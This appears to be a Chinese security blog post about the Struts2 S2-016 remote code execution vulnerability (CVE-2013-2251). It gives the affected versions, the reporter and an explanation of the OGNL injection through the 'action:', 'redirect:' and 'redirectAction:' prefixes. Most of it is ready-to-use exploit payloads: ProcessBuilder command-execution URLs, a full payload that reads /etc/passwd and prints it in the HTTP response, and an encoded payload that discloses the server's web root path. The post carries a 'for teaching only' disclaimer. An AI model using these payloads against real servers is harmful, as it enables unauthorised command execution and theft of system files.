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Struts2再爆远程代码执行漏洞（S2-016）

Struts又爆远程代码执行漏洞了！在这次的漏洞中，攻击者可以通过操纵参数远程执行恶意代码。Struts 2.3.15.1之前的版本，参数action的值redirect以及redirectAction没有正确过滤，导致ognl代码执行。 描述

影响版本	 Struts 2.0.0 - Struts 2.3.15
报告者	 Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
CVE编号      CVE-2013-2251

漏洞证明 参数会以OGNL表达式执行

http://host/struts2-blank/example/X.action?action:%25{3*4}

http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代码执行

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

漏洞原理 The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with “action:” or “redirect:”, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before 2.3.15.1 the information following “action:”, “redirect:” or “redirectAction:” is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code. Apache官方地址 国内网站受灾严重 以下仅供教学研究之用，严禁非法用途！ 执行任意命令EXP，感谢X提供：

?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

爆网站路径EXP，感谢h4ck0r提供：

 ?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

升级struct2需要下列包